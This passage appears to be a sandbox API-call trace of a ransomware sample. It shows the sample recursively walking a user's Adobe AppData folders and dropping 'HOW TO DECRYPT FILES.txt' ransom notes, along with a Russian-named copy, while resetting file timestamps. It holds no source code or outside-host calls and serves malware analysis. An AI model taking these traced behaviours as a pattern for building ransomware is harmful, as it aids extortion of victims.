cAlternateFileName="GLOBSE~1.JS")) returned 0 [0087.330] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.331] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0087.331] lstrcmpA (lpString1=".", lpString2="Security") returned -1 [0087.331] lstrcmpA (lpString1="..", lpString2="Security") returned -1 [0087.331] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*.*") returned="*.*" [0087.331] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", lpString2="Security" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0087.331] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.331] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.332] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0087.332] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.332] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.332] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8f3d60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1517, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0087.332] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.332] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="addressbook.acrodata") returned 1 [0087.332] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="addressbook.acrodata") returned 1 [0087.332] lstrcmpiA (lpString1="", lpString2="addressbook.acrodata") returned -1 [0087.332] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*.*") returned="*.*" [0087.332] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0087.332] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="" [0087.332] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\HOW TO DECRYPT FILES.txt" [0087.332] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\how to decrypt files.txt")) returned 0xffffffff [0087.332] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0087.335] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.335] CloseHandle (hObject=0x9c) returned 1 [0087.335] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\", lpString2="addressbook.acrodata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" [0087.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata", pszSpec="*.ems") returned 0 [0087.336] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0087.336] lstrcmpA (lpString1=".", lpString2="CRLCache") returned -1 [0087.336] lstrcmpA (lpString1="..", lpString2="CRLCache") returned -1 [0087.336] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned="addressbook.acrodata" [0087.336] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0087.336] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d604, cFileName=".", cAlternateFileName="")) returned 0x502718 [0087.338] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.338] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0087.338] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.338] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.338] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda5adf20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefc97c0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x3a5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", cAlternateFileName="48B764~1.CRL")) returned 1 [0087.338] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0087.338] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 1 [0087.338] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 1 [0087.338] lstrcmpiA (lpString1="", lpString2="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned -1 [0087.338] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*.*") returned="*.*" [0087.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" [0087.338] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\") returned="" [0087.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO DECRYPT FILES.txt" [0087.338] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\how to decrypt files.txt")) returned 0xffffffff [0087.339] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0087.344] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.344] CloseHandle (hObject=0xa0) returned 1 [0087.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", lpString2="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" [0087.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", pszSpec="*.ems") returned 0 [0087.344] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda3e4ea0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda3e4ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefa3660, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 1 [0087.344] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0087.344] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 1 [0087.344] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 1 [0087.344] lstrcmpiA (lpString1="", lpString2="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned -1 [0087.344] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" [0087.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" [0087.344] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\") returned="" [0087.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO DECRYPT FILES.txt" [0087.345] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\how to decrypt files.txt")) returned 0x2020 [0087.345] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", lpString2="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" [0087.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", pszSpec="*.ems") returned 0 [0087.345] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda3e4ea0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda3e4ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefa3660, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 0 [0087.345] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0087.345] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0087.345] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.345] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0087.345] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.345] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0087.345] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.346] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0087.346] lstrcmpA (lpString1=".", lpString2="Flash Player") returned -1 [0087.346] lstrcmpA (lpString1="..", lpString2="Flash Player") returned -1 [0087.346] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*.*") returned="*.*" [0087.346] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0087.346] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300031, dwReserved1=0x30002e, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.347] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.347] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x300000, cFileName="..", cAlternateFileName="")) returned 1 [0087.347] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.347] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.347] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0087.347] lstrcmpA (lpString1=".", lpString2="AssetCache") returned -1 [0087.347] lstrcmpA (lpString1="..", lpString2="AssetCache") returned -1 [0087.347] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*.*") returned="*.*" [0087.347] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0087.347] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.348] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.348] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.348] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.348] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.348] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 1 [0087.348] lstrcmpA (lpString1=".", lpString2="D5NTRC6R") returned -1 [0087.348] lstrcmpA (lpString1="..", lpString2="D5NTRC6R") returned -1 [0087.348] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*.*") 